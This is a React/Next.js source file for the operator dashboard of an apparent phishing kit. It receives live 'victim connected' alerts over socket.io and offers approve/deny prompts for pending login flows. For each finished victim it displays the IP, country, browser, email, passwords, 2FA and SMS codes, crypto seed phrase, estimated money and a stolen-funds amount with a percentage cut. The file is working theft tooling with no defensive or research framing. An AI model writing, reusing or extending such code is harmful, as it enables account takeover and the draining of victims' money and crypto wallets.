'use client'

import { useState, useEffect } from 'react'
import io, { Socket } from 'socket.io-client'
import { DefaultEventsMap } from 'socket.io'
import { toast as noti } from 'sonner'
import { useRouter } from 'next/navigation'
import { Clipboard } from 'lucide-react'
import { Client } from '../page'

export default function Page () {
  const [clients, setClients] = useState<Client[]>([])
  const router = useRouter()

  const [socket, setSocket] = useState<Socket<
    DefaultEventsMap,
    DefaultEventsMap
  > | null>(null)

  useEffect(() => {
    const socketUrl =
      process.env.NEXT_PUBLIC_SOCKET_URL || 'http://localhost:8080'
    let newSocket = socket
    if (!newSocket) {
      newSocket = io(`${socketUrl}/admin`)
      setSocket(newSocket)
    }
    newSocket.on('newVic', (clientId, nez) => {
      noti(`${nez ? 'New' : 'Existing'} victim connected`, {
        description: `A victim just opened the page`,
        action: {
          label: 'See details',
          onClick: () => {
            router.push(`/dashboard/${clientId}`)
          }
        }
      })
    })

    newSocket.on('clientUpdate', updatedClients => {
      setClients(updatedClients)
      console.log('Updated:', updatedClients)
    })

    newSocket.on('pendingApproval', (flow: Client) => {
      noti(`Pending approval`, {
        description: `Approve or deny the ${flow.state.split('_')[0]} request.`,
        action: {
          label: 'See details',
          onClick: () => {
            router.push(`/dashboard/${flow.id}`)
          }
        }
      })
    })

    return () => {
      newSocket.close()
    }
  }, [])

  const handleCopy = (text: string) => {
    if (text) {
      navigator.clipboard
        .writeText(text)
        .then(() => {
          if (!text.startsWith('Email: '))
            noti('Copied to clipboard', {
              description: `${text}`,
              duration: 500
            })
          else
            noti('Copied to clipboard', {
              description:
                'Sucessfully exported all the data to the clipboard.',
              duration: 500
            })
        })
        .catch(() => {
          noti('Failed to copy', {
            description: 'Please try again.'
          })
        })
    }
  }

  const VictimData = (client: Client, title: string, data: string) => {
    return (
      <div className='border bg-card rounded-md w-full h-fit p-2 flex justify-between'>
        <div className='flex flex-col'>
          <p className='text-sm text-muted-foreground'>{title}</p>
          <p className='text-balance'>{client.data[data] || 'Unknown'}</p>
        </div>
        <div className='flex flex-col justify-between h-full'>
          <Clipboard
            className='w-4 h-4 text-muted-foreground hover:text-white transition-all'
            onClick={() => handleCopy(client.data[data] || 'Unknown')}
          />
        </div>
      </div>
    )
  }

  return (
    <div className='w-full'>
      <div className='w-full px-5 pt-10'>
        {clients.filter(client => client.done).length > 0 ? (
          <div className='flex flex-col w-full gap-4'>
            {clients
              .filter(client => client.done)
              .map(client => (
                <div
                  key={client.id}
                  className='flex w-full flex-col border border-border bg-card rounded-md h-full p-4 gap-4'
                >
                  <div className='flex justify-between w-full items-center'>
                    <h2 className='text-md'>{client.ip}</h2>
                    <p className='font-mono text-md'><span className='text-muted-foreground mr-2'>{(parseFloat(client.licked)/100*15).toFixed(2)}$</span>{(parseFloat(client.licked)).toFixed(2)}$</p>
                  </div>
                  <div className='flex flex-col text-sm text-muted-foreground'>
                    <p><span className='text-foreground'>Country: </span>{client.country}</p>
                    <p><span className='text-foreground'>Browser: </span>{client.browser}</p>
                  </div>
                  <div className='flex flex-col gap-2'>
                    {VictimData(client, 'Email', 'email')}
                    {VictimData(client, 'Password', 'password')}
                    {VictimData(client, 'Old Password', 'oldpw')}
                    {VictimData(client, 'New Password', 'newpw')}
                    {VictimData(client, '2FA', 'twoFactorCode')}
                    {VictimData(client, 'SMS', 'smsCode')}
                    {VictimData(client, 'Seed', 'seed')}
                    {VictimData(client, 'Est. Money', 'estmoney')}
                  </div>
                </div>
              ))}
          </div>
        ) : (
          <p className='text-gray-500'>None done</p>
        )}
      </div>
    </div>
  )
}
